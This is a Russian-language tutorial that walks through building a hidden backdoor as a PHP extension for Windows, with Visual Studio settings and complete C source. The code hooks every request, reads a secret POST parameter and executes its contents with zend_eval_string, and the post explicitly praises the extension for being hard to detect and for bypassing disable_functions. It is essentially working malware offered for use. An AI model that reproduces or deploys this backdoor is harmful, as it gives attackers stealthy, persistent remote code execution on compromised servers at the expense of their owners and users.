Пишем расширение-бэкдор для PHP

Пишем расширение-бэкдор для PHP

Сегодня речь пойдет о написании бэкдора для PHP в виде расширения. Как правило, большинство взломщиков оставляют какие-либо куски кода в пользовательских скриптах. Естественно, подобные вещи легко находятся благодаря статическому или динамическому анализу исходников. Преимущества расширения очевидны:

  • затруднен поиск
  • обход disable_functions
  • возможность контроля всего кода
  • доступ к выполнению кода по секретному параметру

Но без минусов в данном случае не обошлось, нужна возможность редактирования файла конфигурации php.

В качестве примера, писать буду под Windows. Для написания расширения я использовал Visual Studio 2012 Express Edition. Также понадобятся исходники нужной версии PHP и собранные библиотеки (можно собрать из тех же исходников). Для простоты скачаем php-5.5.15-Win32-VC11-x86 и исходники php-5.5.15-src.zip

Распакуем собранный PHP в C:\php, а исходники в C:\php-src.

Затем нужно произвести некоторые настройки VS.

1) Добавить определения препроцессора:
ZEND_DEBUG=0
ZTS=1
ZEND_WIN32
PHP_WIN32

Определения препроцессора

2) Добавить каталоги для подключения исходников: C:\php-src\main;C:\php-src\Zend;C:\php-src\TSRM;C:\php-src\regex;C:\php-src

Дополнительные каталоги для подключения

3) Добавить дополнительный каталог с либой php5ts.lib (C:\php\dev)

Дополнительный каталог с библиотекой

4) Добавить подключение библиотеки php5ts.lib.

Дополнительная библиотека для сборки

5) Указать путь к собранному файлу.

Куда сохранять собранный файл

Настроив параметры студии для разработки расширения (подробнее можно прочитать здесь), создадим новый проект backdoor типа «Консольное приложение Win32».

Создание проекта в Visual StudioВыберем тип: «Библиотека DLL»

Выбираем нужный тип

Затем, удалим из проекта лишние файлы. Должны остаться только backdoor.cpp, stdafx.cpp и stdafx.h.
В файл заголовков stdafx.h поместим следующий код:


#pragma once
#ifndef STDAFX
#define STDAFX
#include "zend_config.w32.h"
#include "php.h"
#endif

Теперь перейдем непосредственно к коду расширения. Удалим все строки и добавим подключения необходимых файлов.


#include "stdafx.h"
#include "zend_config.w32.h"
#include "php.h"

Если настройки студии прошли верно, предупреждения исчезнут. При инициализации модуля существует несколько событий, каждое из которых происходит при определенных условиях. Нам необходимо выполнять наш код во время выполнения запроса. Для этого нужно инициализировать с нужной нам функцией, я выбрал в качестве имени «hideme».

PHP_RINIT_FUNCTION(hideme);

После этого можно переходить к инициализации модуля.


zend_module_entry hideme_ext_module_entry = {
STANDARD_MODULE_HEADER,
"simple backdoor",
NULL,
NULL,
NULL,
PHP_RINIT(hideme),
NULL,
NULL,
"1.0",
STANDARD_MODULE_PROPERTIES
};
ZEND_GET_MODULE(hideme_ext);

Как я уже писал, нам необходимо выполнение кода лишь во время запроса, поэтому запуск при загрузке и выгрузке модуля заменены на NULL. Теперь можно переходить к телу функции hideme.

PHP_RINIT_FUNCTION(hideme)
{
char* method = "_POST"; // суперглобальный массив, из которого берем пераметр и значение
char* secret_string = "secret_string"; // параметр в котором будет evil-код
zval** arr;
char* code;

if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) {
HashTable* ht = Z_ARRVAL_P(*arr);
zval** val;
if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // поиск нужного параметра в хеш-таблице
code = Z_STRVAL_PP(val); // значение параметра
zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); // выполнение кода
}
}
return SUCCESS;
} 

По комментариям должно быть понятно. Первоначально, задаем параметры method и secret_string. Затем проходим по выбранному массиву и ищем параметр с подходящим ключом, если таковой есть, берем из него значение и выполняем код через zend_eval_string.

После сборки получим библиотеку, которую можно использовать в качестве расширения.

Скачать исходники

 

Демонстрация на GNU Linux

Демонстрация на Windows: